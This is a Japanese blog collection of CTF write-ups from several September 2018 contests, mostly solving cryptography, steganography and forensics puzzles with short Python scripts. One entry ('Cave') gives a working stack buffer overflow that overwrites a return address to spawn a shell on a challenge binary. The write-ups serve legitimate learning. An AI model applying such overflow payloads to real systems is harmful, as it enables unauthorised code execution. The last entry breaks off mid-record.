Trend Micro CTF 2018 - Raimund Genes Cup - Online Qualifier Writeup

この大会は2018/9/15 13:00(JST)~2018/9/16 13:00(JST)に開催されました。
今回もチームで参戦。結果は 3000点で165チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。

Analysis-Offensive 300

Alice, Bob, CyrilのメッセージがRSA暗号で暗号化されている。
eはすべて65537。Nはすべて異なる。お互いの組、3組について、公約数を求めてみる。
1以外になったので、素因数分解できた。あとはそのまま復号する。

from Crypto.Util.number import inverse

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    m = pow(c, d, n)
    return m

N1 = 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347

N2 = 46914096084767238967814493997294740286838053572386502727910903794939283633197997427383196569296188299557978279732421725469482678512672280108542428152186999218210536447287087212703368704976239539968977

N3 = 24543003393712692769038137223030855401835344295968717177380639898023646407807465197761211529143336105057325706788229129519925129413109571220297378014990693203802558792781281981621549760273376606206491

p1, _, _ = egcd(N1, N2)
p2, _, _ = egcd(N2, N3)
p3, _, _ = egcd(N1, N3)

assert p1 * p3 == N1
assert p1 * p2 == N2
assert p2 * p3 == N3

e = 65537

#### decrypt message for Alice
c1 = 18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422

m1 = decrypt(p1, p3, e, c1)
msg1 = ('%x' % m1).decode('hex')
print msg1

#### decrypt message for Bob
c2 = 27979368157170890767030069060194038526134599497456846620984054211906413024410400026053694007247773572972357106574636186987337336771777265971389911503143036021889778839064900818858188026318442675667707

m2 = decrypt(p1, p2, e, c2)
msg2 = ('%x' % m2).decode('hex')
print msg2

#### decrypt message for Cyril
c3 = 24084879450015204136831744759734371350696278325227327049743434712309456808867398488915798176282769616955247276506807739249439515225213919008982824219656080794207250454008942016125074768497986930713993

m3 = decrypt(p2, p3, e, c3)
msg3 = ('%x' % m3).decode('hex')
print msg3

実行結果は以下の通りで、Bobのメッセージにフラグが含まれていた。

Hi Alice, party is tommorow at 8
Hi Bob, remember, that the flag is TMCTF{B3Car3fu11Ab0utTh3K3ys}
Hi Cyril, could you bring beer tommorow?
TMCTF{B3Car3fu11Ab0utTh3K3ys}

Forensics-Crypto1 400

ブロック暗号のFeistel構造の問題。ただf(x)がXOR関数になっているため、簡単に計算できる。

n: ブロック長の半分( = 144)
h: ラウンド数
l: 鍵サイズ( = 288)
M: 平文空間(2n)
C: 暗号空間(2n)
K: 鍵空間(l)

hが1の場合はMの後半とCの前半が同じになるが、この場合同じになっていない。まずhが2の場合を考える。

M = (m0, m1)

m0, m1 -> m1, m2 = m1, m0 ^ (m1 ^ k1)
m1, m2 -> m2, m3 = m2, m1 ^ (m2 ^ k2) = C

m2 = m0 ^ (m1 ^ k1)
m3 = m1 ^ (m2 ^ k2) = m1 ^ (m0 ^ (m1 ^ k1) ^ k2)
   = m0 ^ k1 ^ k2

このことから逆算して復号する。

M = '010000010110111000100000011000010111000001110000011011000110010100100000011000010110111001100100001000000110000101101110001000000110111101110010011000010110111001100111011001010010000001110111011001010110111001110100001000000111010001101111001000000101010001110010011001010110111001100100'
C = '000100100011000101110101001101100110001100110001001110100011110101100000011110010010111000110011001110000000110100100101011111000011000000100001010000100110011100100001011000000111001101110100011011100110000000100000011011010110001001100100001011010110111001100110001010110110110101110001'
SECRET = '000000110000111001011100001000000001100100101100000100100111111000001001000001100000001100001001000100100010011101001010011000010111100100100010010101110100010001000010010101010100010101111111010001000110000001101001011111110111100001100101011000010010001001001011011000100111001001101011'

m0 = int(M[:144], 2)
m1 = int(M[144:], 2)
m2 = int(C[:144], 2)
m3 = int(C[144:], 2)

k1 = m0 ^ m1 ^ m2
k2 = m0 ^ m3 ^ k1

SECRET1 = int(SECRET[:144], 2)
SECRET2 = int(SECRET[144:], 2)

PLAIN1 = SECRET2 ^ k1 ^ k2
PLAIN2 = SECRET1 ^ PLAIN1 ^ k1

flag1 = ('%036x' % PLAIN1).decode('hex')
flag2 = ('%036x' % PLAIN2).decode('hex')
flag = flag1 + flag2
print flag
TMCTF{Feistel-Cipher-Flag-TMCTF2018}

SEC-T CTF Writeup

この大会は2018/9/13 16:00(JST)~2018/9/14 23:00(JST)に開催されました。
今回もチームで参戦。結果は 255点で463チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (Misc)

https://kiwiirc.com/client/irc.freenode.net:+6667/#sect-ctfにアクセスすると、フラグが表示されていた。

SECT{SECT_CTF_2018}

Matry0ska1 (Crypto)

離散対数問題。普通にsageで解くだけ。

# solve.sage
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.sect.ctf.rocks', 4444))

data = s.recv(1024)
data += s.recv(1024)
print data

data = data.split('\n')
p = int(data[-4].split(' = ')[1])
g = int(data[-3].split(' = ')[1])
y = int(data[-2].split(' = ')[1])

R = IntegerModRing(p)
x = discrete_log(R(y), R(g))
print x
s.sendall(str(x) + '\n')
data = s.recv(1024)
print data
$ sage solve.sage
sys:1: RuntimeWarning: not adding directory '' to sys.path since everybody can write to it.
Untrusted users could put files in this directory which might then be imported by your Python code. As a general precaution from similar exploits, you should not execute Python code from this directory

    _    
  (("))  --- Gimme exponent pl0x
  /   \ 
 ( (@) ) 
 \__(__/ 


p = 122488473105892538559311426995019720049507640328167439356838797108079051563759027212419257414247
g = 2
g^x = 78188489369980984629648119596447562374779391545438251587456851215272459452777015193195179446022
:
3579341009338541976776530063
SECT{Ru$$ian_D0LLZ_h0lDs_TH3_S3cR3T}
SECT{Ru$$ian_D0LLZ_h0lDs_TH3_S3cR3T}

Shredder (Misc)

FTK Imagerでimgファイルを開き、flag.txtを抽出する。1バイトの鍵のXORで暗号化されているのかもと思い、ブルートフォースで復号する。

with open('flag.txt', 'rb') as f:
    data = f.read()

for key in range(256):
    flag = ''
    for i in range(len(data)):
        flag += chr(ord(data[i]) ^ key)
    print key, flag
SECT{1f_U_574y_r1gh7_wh3r3_U_R,_7h3n_p30pl3_w1ll_3v3n7u4lly_c0m3_70_U}

IceCTF 2018 Writeup

この大会は2018/9/7 1:00(JST)~2018/9/14 1:00(JST)に開催されました。
今回もチームで参戦。結果は 3035点で2460チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Hello World! (Miscellaneous 10)

問題にフラグが書いてあった。

IceCTF{this_is_a_flag}

garfeld (Cryptography 100)

添付のファイルに暗号の情報が書かれている。
f:id:satou-y:20180917071454p:plain
中央下部の文字列が明らかにフラグの暗号。先頭がIceCTF{になるよう復号するためには07271978はシフト数と考えればよさそう。

import string

enc = 'IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}'
nums = map(int, list('07271978'))

flag = ''
idx = 0
for c in enc:
    if c in string.uppercase:
        code = ord(c) - nums[idx%len(nums)]
        if code < ord('A'):
            code += 26
        flag += chr(code)
        idx += 1
    elif c in string.lowercase:
        code = ord(c) - nums[idx%len(nums)]
        if code < ord('a'):
            code += 26
        flag += chr(code)
        idx += 1
    else:
        flag += c

print flag
IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}

Ancient Foreign Communications (Cryptography 300)

暗号は以下のようになっているので、まずはバイナリとしてファイルに起こす。

E2 A8 85 5D 5D E2 8C 9E E2 8C 9E E2 8C 9F 5B E2 A8 86 5D E2 8C 9F 5D 5D 5D E2 A8 86 E2 A8 86 E2 A8 86 E2 8C 9C 5B 5B 5B E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 A8 86 E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9E E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9F E2 8C 9D E2 8C 9D E2 A8 85 E2 A8 85 E2 8C 9E E2 8C 9E E2 A8 86 5B 5D 5D 5D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D 5D 5D E2 8C 9F 5B 5B 5B E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9F E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D 5D 5D 5D E2 8C 9E E2 8C 9E E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 A8 86 5D E2 8C 9E E2 8C 9E
with open('comms.txt', 'rb') as f:
    data = f.read().strip().split(' ')

b_data = ''
for i in range(len(data)):
    b_data += chr(int(data[i], 16))

with open('out.txt', 'wb') as f:
    f.write(b_data)

ファイルにしたものをUNICODE対応したエディタで見る。

⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]⌝⌝⌝⌝]]⌟[⌝⌝⌝⌝⌟⌝⌝⌝⌝]⌞⌞⌞⌝⌝⌝⨆]⌞⌞

メッシュ暗号にも似ているが、ドットがない。ただ3×3のマスの部分を表しているように見える。タイトルからも想像できる古典暗号によくあるものを思い返してみると、ガラケーとかのキーパッドを使った暗号があった。先頭から変換してみる。

例)
⨅:真ん中の下
⌞:右上

左上は該当する文字がないので無視。さらに意味が通るようにスペースを入れる。

the magic words are squeamish ossifrage
IceCTF{squeamish ossifrage}

Drumbone (Steganography 150)

StegSolveでBlue plane 0を見ると、QRコードが見える。
f:id:satou-y:20180917064927p:plain
1,0のテキストに変換する。

from PIL import Image

img = Image.open('blue_plane_0.png').convert('RGB')
w, h = img.size

UNIT_WIDTH = 6
UNIT_HEIGHT = 6

qr = ''
for y in range(1, h, UNIT_HEIGHT):
    for x in range(1, w, UNIT_WIDTH):
        r, g, b = img.getpixel((x, y))
        if r == 0 and g == 0 and b == 0:
            qr += '1'
        else:
            qr += '0'
    qr += '\n'

with open('qr.txt', 'w') as f:
    f.write(qr)
$ python sqrd.py qr.txt
IceCTF{Elliot_has_been_mapping_bits_all_day}
IceCTF{Elliot_has_been_mapping_bits_all_day}

Lost in the Forest (Forensics 300)

添付ファイルはファイルシステムの一部が含まれているような感じ。
homeディレクトリにあるユーザはhkrのみ。そこの.bash_historyに何かヒントになるようなコマンドの記録がないか見てみる。

$ cat ./home/hkr/.bash_history
              :
wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
              :
mv eRkjLlksZp tool.py
              :
./tool.py ../secret > ../hzpxbsklqvboyou
              :

実際にこのtool.pyを入手する。

 cat ./home/hkr/hzpxbsklqvboyou 
8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT
$ wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
--2018-09-08 10:37:42--  https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
gist.githubusercontent.com (gist.githubusercontent.com) をDNSに問いあわせています... 151.101.72.133
gist.githubusercontent.com (gist.githubusercontent.com)|151.101.72.133|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 364 [text/plain]
`eRkjLlksZp' に保存中

eRkjLlksZp          100%[===================>]     364  --.-KB/s    時間 0s    

2018-09-08 10:37:43 (42.6 MB/s) - `eRkjLlksZp' へ保存完了 [364/364]

$ cat eRkjLlksZp 
#!/usr/bin/python3
import sys
import base64

def encode(filename):
    with open(filename, "r") as f:
        s = f.readline().strip()
        return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5

if __name__ == "__main__":
    print(encode(sys.argv[1]))

この情報を使って、hzpxbsklqvboyouのデータを復号する。

import base64

def decrypt(s):
    s = base64.b64decode(s[:len(s)/5][::-1])
    return ''.join([chr(ord(s[x]) - ([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])

with open('hzpxbsklqvboyou', 'r') as f:
    enc = f.read().strip()

flag = decrypt(enc)
print flag
IceCTF{good_ol_history_lesson}

Cave (Binary Exploitation 50)

ソースが提供されている。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

void message(char *input) {
    char buf[16];
    strcpy(buf, input);

    printf("The cave echoes.. %s\n", buf);
}

int main(int argc, char **argv) {
    if (argc > 1){
        message(argv[1]);
    } else {
        printf("Usage: ./shout <message>\n");
    }
    return 0;
}

入力をstrcpyでコピーして、printfに渡している。ここにスタックオーバーフローの脆弱性がある。
入力値を大きくしていくと、関数の戻り先のアドレスを上書きするはず。その場所を確認する。

[adversary ~]$ cd cave
[adversary ~/cave]$ ls
flag.txt  Makefile  shout  shout.c
[adversary ~/cave]$ gdb -q shout
Reading symbols from shout...(no debugging symbols found)...done.
(gdb) set arg `python -c "print('A'*20)"`
(gdb) run
Starting program: /home/adversary/cave/shout `python -c "print('A'*20)"`
The cave echoes.. AAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 200) exited normally]
(gdb) set arg `python -c "print('A'*30)"`
(gdb) run
Starting program: /home/adversary/cave/shout `python -c "print('A'*30)"`
The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

30バイト入力すると半分変わっている。29-32バイトが戻り先のアドレスを格納している場所と思われる。
今度はshellのアドレスを取得する。

(gdb) p &shell
$1 = (<text variable, no debug info> *) 0x804850b<shell>

戻り先のアドレスを書き換えるように実行すると、shellが取れ、フラグを取得できた。

[adversary ~/cave]$ python -c "import os; arg = 'A' * 28 + '\x0b\x85\x04\x08'; os.system('./shout ' + arg)"
The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                              �
sh-4.4$ cat flag.txt
IceCTF{i_dont_think_cavemen_overflowed_buffers}
IceCTF{i_dont_think_cavemen_overflowed_buffers}

HackIT CTF 2018 参戦

この大会は2018/9/8 17:00(JST)~2018/9/10 17:00(JST)に開催されました。
今回もチームで参戦。結果は490点で123チーム中63位でした。
今回は自分が得点した問題は1問もありませんでした。
Welcomeの1点問題ですら解けず、あまりにも難しすぎました。

noxCTF 2018 Writeup

この大会は2018/9/7 2:00(JST)~2018/9/9 2:00(JST)に開催されました。
今回もチームで参戦。結果は 10779点で531チーム中13位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Welcome)

DiscordでnoxCTFのthe-flag-is-hereチャネルを見る。

noxCTF{w3lc0me_2_n0xC7F!!!!!!!!!!!!!!!!!}

Facebook (Welcome)

https://www.facebook.com/noxaleを探す。ある画像にノートPCがたくさんあるが、その中の一つのPCにフラグが表示されている。

noxCTF{SECRET_flag}

Twitter (Welcome)

https://twitter.com/teamnoxale/のトップの方にある記事のグラフ画像にフラグが書いてある。

noxCTF{follow_our_twitter_for_updates!}

Blind Date (Misc)

jpegファイルが添付されているが、画像は表示できない。4バイト単位でバイト文字が逆になっている。

with open('BlindDate.jpeg', 'rb') as f:
    data = f.read()

flag = ''
for i in range(0, len(data), 4):
    flag += data[i:i+4][::-1]

with open('flag.jpeg', 'wb') as f:
    f.write(flag)

戻してやると、jpgの末尾に以下の文字列の後、zipが含まれていることが分かる。zipはパスワードがかかっている。

Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLg
$ echo Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLg== | base64 -d
..   .  ..  ..   .  ..  ..   .  ..  .  ..
.    .   .       .      .    .   .  .  
    ..          ..      .   ..      .  .

点字のようだ。https://www.pharmabraille.com/braille-codes/unified-english-braille-ueb-code/を参考にデコードする。

F4C3P4LM

このパスワードで解凍できて、flag.txtが抽出できる。

$ cat flag.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.
$ python3 brainfuck.py flag.txt
noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}
noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}

Marcode (Misc)

QRコードが次々に変わる動画。まずフレーム画像を抽出する。

import os
import cv2

movie = 'Marcode.mp4'
count = 0
cap = cv2.VideoCapture(movie)
 
while True:
    ret, frame = cap.read()
    if ret == True:
        count += 1
        cv2.imwrite('div/Marcode_' + str("{0:05d}".format(count)) +'.png', frame)
    else:
        break

それぞれQRコードになっているので、読み取ると、GoogleドライブのURLになっている。
試しにアクセスしてみると、アルファベット一文字の画像ファイルだった。つなげると文章になりそうだ。
まず順にQRコードを読み取り、GoogleドライブのURLの一覧にする。

from pyzbar.pyzbar import decode
from PIL import Image
import os

I_FILE_FORMAT = 'div/Marcode_%05d.png'

for i in range(1, 3491):
    i_filename = I_FILE_FORMAT % i
    data = decode(Image.open(i_filename))
    print data[0][0]

種類はそこまで多くないので、URLと文字の対応は一つ一つ確認する。そして、順に対応する文字をつなげる。

dic = {
'https://drive.google.com/open?id=1vHlCNodJ84iw51C8gIz4hr0UpsWNx3fm': ' ',
'https://drive.google.com/open?id=1p4m9gtvh31s2SJ9G1uNr8burIvQabm_k': '?',
'https://drive.google.com/open?id=1OqacmR-Ccc2YLVYCS2co4dWtSqfEGxIl': 'A',
'https://drive.google.com/open?id=151y0xa6hnTR9yp9G0D-dyox08bV4-JZX': 'B',
'https://drive.google.com/open?id=1GLtL-X1IS4ms6fwC2OQV4jAmXjI_6bjQ': 'C',
'https://drive.google.com/open?id=1JtDxAfX8AEC_mFzJPZofI1RyOL62MAmk': 'D',
'https://drive.google.com/open?id=1upmw0QvLjzp6b7RjCrjJGjYfRijF82-g': 'E',
'https://drive.google.com/open?id=1rHGDe2F5vLws9fA0M3L9IELX9LYaU50x': 'F',
'https://drive.google.com/open?id=1DV0ACuyKWsFm2ApXgHHDP_DSzwqmtt5M': 'G',
'https://drive.google.com/open?id=1c-go7QIZb_yqGDsRKlXG1j1Py7-wcSFG': 'H',
'https://drive.google.com/open?id=1Rw-Op049iTliLPFTTRj7p4gBXmm8IboN': 'I',
'https://drive.google.com/open?id=1uynnoN7ItBRls7MiqFa1rLE-W3o9CnY5': 'J',
'https://drive.google.com/open?id=1dtYor_A9Sf3DDTlczTLA0s9rBluVNoOX': 'K',
'https://drive.google.com/open?id=1H5DHyv0METKfLV7xdzw-SVXU_F1o1iKM': 'L',
'https://drive.google.com/open?id=1b5wz-LsIBxnA7mp5ImbNLZQY0nob94OO': 'M',
'https://drive.google.com/open?id=1cZlhiRoZcEiaNEwScBQd0IA2PXh1Z1tX': 'N',
'https://drive.google.com/open?id=1pXSHKhMzuKrUMg0x8ygZ36yTn0-9nBe8': 'O',
'https://drive.google.com/open?id=1DF2RneUWAb6wqp7YJ0vjOwDJGdENEc0Q': 'P',
'https://drive.google.com/open?id=1vPBtiNzUzYEOEKFK60vG305uPw9CDy8p': 'Q',
'https://drive.google.com/open?id=1lKeCjQFcTSuUzMGUEeEzPj4d2x1MLTJm': 'R',
'https://drive.google.com/open?id=1lSanpoEq3LeV0aaL6KEnUiJE2iGijdrt': 'S',
'https://drive.google.com/open?id=131OPuwNVggs0ZAsVie4dfA3k9zLWN-uu': 'T',
'https://drive.google.com/open?id=1hjIQq2fEcduFF0CfRs-MJ2hlCuC5lkW6': 'U',
'https://drive.google.com/open?id=1apKMrqUwZn5dOkRWfjbYgYH_RvkmPD2P': 'V',
'https://drive.google.com/open?id=1mZivmNZ8uDiUb5YUoF8sj9kZXKkh7GNO': 'W',
'https://drive.google.com/open?id=1UpU1_MTK-0XgCpcZKC4AVGsBswNpQTBO': 'X',
'https://drive.google.com/open?id=1g2I1a09lO4m0imhIzJ60LUeDPNDIdIp_': 'Y',
'https://drive.google.com/open?id=1nlp-HIwnRbG61mf5SF_BzMdlNAR7tHLt': 'Z'
}

with open('access_list.txt', 'r') as f:
    lines = f.readlines()

msg = ''
for line in lines:
    line = line.strip()
    msg += dic[line]

print msg

この結果、以下のようなメッセージになる。ただし、?はファイル名がelseになっていたので、記号などが入ることになる。

THE TWO MEN APPEARED OUT OF NOWHERE? A FEW YNARDS APART IN THE NARROW? MOONLIT LANE? FOR A SECOND THEY STOOD QUITE STOILL? WANDS DIRECTED AT EACH OTHER?S CHESTS? THEN? RECOGNIZING EACH OTHER? THEY STOWED THEIR WANDS BENEATH THEIR CLOAKS AND STARTED WALKING BRISKLY IN THE SAME DIRECTION? ?NEWS?? ASKED THE TALLEXR OF THE TWO? ?THE BEST?? REPLIED SEVERUS SNAPE? THE LANE WAS BORDERED ON THE LEFT BY WILD? LOW?GROWING BRAMBLES? ON THE RIGHT BY A HICGH? NEATLY MANICURED HEDGE? THE MEN?S LONG CLOAKS FLAPPED AROUND THEIR ANKLES AS THEY MARCHED? ?THOUGHT I MIGHTT BE LATE?? SAID YAXLEY? HIS BLUNT FEATURES SLIDING IN AND OUT OF SIGHT AS THE BRANCHES OF OVERHANGING TREES BROKE THE MOONLIGHT? ?IT WAS A LITTLE TRICKIER THAN I EXPECTEFD? BUT I HOPE HE WILL BE SATISFIED? YOU SOUND CONFIDENT THAT YOUR RECEPTION WILL BE GOOD?? SNAPE NODD?ED? BUT DID NOT ELABORATE? THEY TURNED RIGHT? INTO A WIDE DRIVAEWAY THAT LED OFF THE LANE? THE HIGH HEDGE CURVED INTO THEM? RUNNIVNG OFF INTO THE DISTANCE BEYOND THE PAIR OF IMPAOSING WROUGHT?IRON GATES BARRING THE MEN???S WAY? NEITDHER OF THEM BROKE STEP? IN SILENCE BOTH RAISED THEIR LEFT ARMS IN A KIND OF SALAUTE AND PASSED STRAIGHT THROUGH? AS THOUGH THE DARK METAL WAS SMOKE? THE YEW HEDGES MUFFLED THE SOKUND OF THE MEN???S FOOTSTEPS? THERE WAS A RUSTLE SOMEWHERE TO THEIR RIGHT? YAXLEY DREW HIS WAND AGAIN POINTING IT OVER HIS COMPANION???S HEAD? BUT THE SOURCE OF THE NOISE PROVED TO BE NOTHING MORE THAN A PURE?WHITE PEACOCK? STERUTTING MAJESTICALLY ALONG THE TOP OF THE HEDGE? ???HE ALWAYS DID HIMSELF WELL? LUCIUS? PEACOCKS?????? YAXLEY THRUST HIS WAND BADCK UNDER HIS CLOAK WITH A SNORT? A HANDSOME MANOR HOUSE GREW OUT OF THE DARKNESS AT THE END OF THE STRAIGHT DRIVE? LIGHTS GLINTING IN THE DIAMOND PANED DOWNSTAAIRS WINDOWS? SOMEWHERE IN THE DARK GARDEN BEYOND THE HEDGE A FOUNTAIN WAS PLAYING? GRAVEL CRACKLED BENEATH THEIR FEET AS SNAPE AND YAXLEY SPED TOWARD THE FRONT DOOR? WHICH SWUNG INWARD AT THEIR APPROACH? THOUGH NOBODY HAD VISIBLY OPENED VIT? THE HALLWAY WAS LARGE? DIMLY LIT? AND SUMPTUOUSLY DECORATED? WITH A MAGNIFICENT CARPET COVERING MOST OF THE STONE FLOOR? THE EYES OF THE PALE?FACED PORTRAITS ON THE WALL FOLLOWED SNAPE AND YAXLEY AS THEY STRODE PAST? THE TWO MEN HALTED AT A HEAVY WOODEN DOOR LEADING INTO THE NEXT ROOM? HESITATED FOR THE SPACE OF A HEARTBEAT? THEN SNAPE TURNED THE BRONZE HANDLE? THE DRAWING ROOM WAS FULL OF SILENT PREOPLE? SITTING AT A LONG AND ORNATE TABLE? THE ROOM???S USUAL FURNITURE HAD BEEN PUSHED CARELESSLY UP AGAINST THE WALLS? ILLUMINATION CAME FROM A ROARING FIRE BENEATH A HANDSOME MARBLE MANTELPIECE SURMOUNTED BY A GILDED MIRROR? SNAPE AND YAXLEY LINGERED FOR A MOMENT ON THE THRESHOLD? AS THEIR EYES GREW ACCUSTOMED TO THE LACK OF LIGHT? THEY WERE DRAWN UPWARD TO THE STRANGEST FEATURE OF THE SCENE? AN APPARENTLY UNCONSCIOUS HUMAN FIGURE HANGING UPSIDE DOWN OVER THE TABLE? REVOLVING SLOWLY AS IF SUSPENDED BY AAN INVISIBLE ROPE? AND REFLECTED IN THE MIRROR AND IN THE BARE? POLISHED SURFACE OF THE TABLE BELOW? NONE OF THE PEOPLE SEATED UNDERNEATH THIS SINGULAR SIGHT WERE LOOKING AT IT EXCEPT FOR A PALE YOUNG MAN SITTING ALMOST DIRECTLY BELOW IT? HE SEEMED UNABLE TO PREVENT HIMSELF FROM GLANCING UPWARD EVERY MINUTE OR SO? ???YAXLEY? SNAPE???? SAID A HIGH? CLEAR VOICE FROM THE HEAD OF THE TABLE? ???YOU ARE VERY NEARLY LATE???? THE SPEAKER WAS SEATED DIRECTLY IN FRONT OF THE FIREPLACE? SO THAT IT WAS DIFFICULT? AT FIRST? FOR THE NEW ARRIVAL?S TO MAKE OUT MORE THAN HIS SILHOUETTE?

この文章を調べるとハリーポッターのストーリーの一部であることがわかる。例えばhttps://www.lingq.com/ja/lesson/hp-7-hp-and-the-deathly-hallows-ch1-1-1166226/を参考にし、原文と照らし合わせ、加わった部分を並べる。'は???(3文字分)と表記されていることに気を付ける。

NOXCTF?AVADAKEDAVRA?
noxCTF{AVADAKEDAVRA}

Read Between The Lines (Misc)

$ file message.code 
message.code: gzip compressed data, was "message", from Unix, last modified: Fri Jul 20 21:53:57 2018
$ mv message.code message.gz
$ gzip -d message.gz

解凍したmessageの内容を確認すると、難読化したようなコードの後に、spaceやtabが含まれている。Whitespace言語のようだ。
http://www.hpcs.cs.tsukuba.ac.jp/~kanbayashi/whitespace.rb
上記を使って、実行する。

$ ruby whitespace.rb message.ws 
noxCTF{DaFuckIsWHITESPACE}whitespace.rb:470:in `sprintf': no implicit conversion from nil to integer (TypeError)
	from whitespace.rb:470:in `exec_io_out_a_char'
	from whitespace.rb:439:in `exec_io'
	from whitespace.rb:61:in `interprete'
	from whitespace.rb:28:in `main'
	from whitespace.rb:637:in `<main>'

エラーが出ているが、フラグはわかった。

noxCTF{DaFuckIsWHITESPACE}

Chop Suey (Crypto)

RSA暗号でn, eの代わりにdp, dpが分かっている場合の復号を行う。

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

qinv = modinv(q, p)
m1 = pow(c, dp, p)
m2 = pow(c, dq, q)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q

flag = ('%x' % m).decode('hex')
print flag
noxCTF{W31c0m3_70_Ch1n470wn}

Decryptor (Crypto)

$ nc chal.noxale.com 4242
Please insert your ciphertext to decrypt in hex form:
0
0
$ nc chal.noxale.com 4242
Please insert your ciphertext to decrypt in hex form:
1
1
$ nc chal.noxale.com 4242
Please insert your ciphertext to decrypt in hex form:
2
c073e0ce8e6b81d6641fb7ec8926af0c9737a18e25815c2528772315d069073b0dd6288dd8cf0d7e9ce44f776bfb3269445421180b178dd5b63e109416fbd80a3874546929fc4dfe2b82c3024bdf0716d7fdde303533f473078f265e9c7ba8e11dd5a70b28241352deea70a44c4f3f9c58a39c76abcdf138491437a480ceb178
$ nc chal.noxale.com 4242
Please insert your ciphertext to decrypt in hex form:
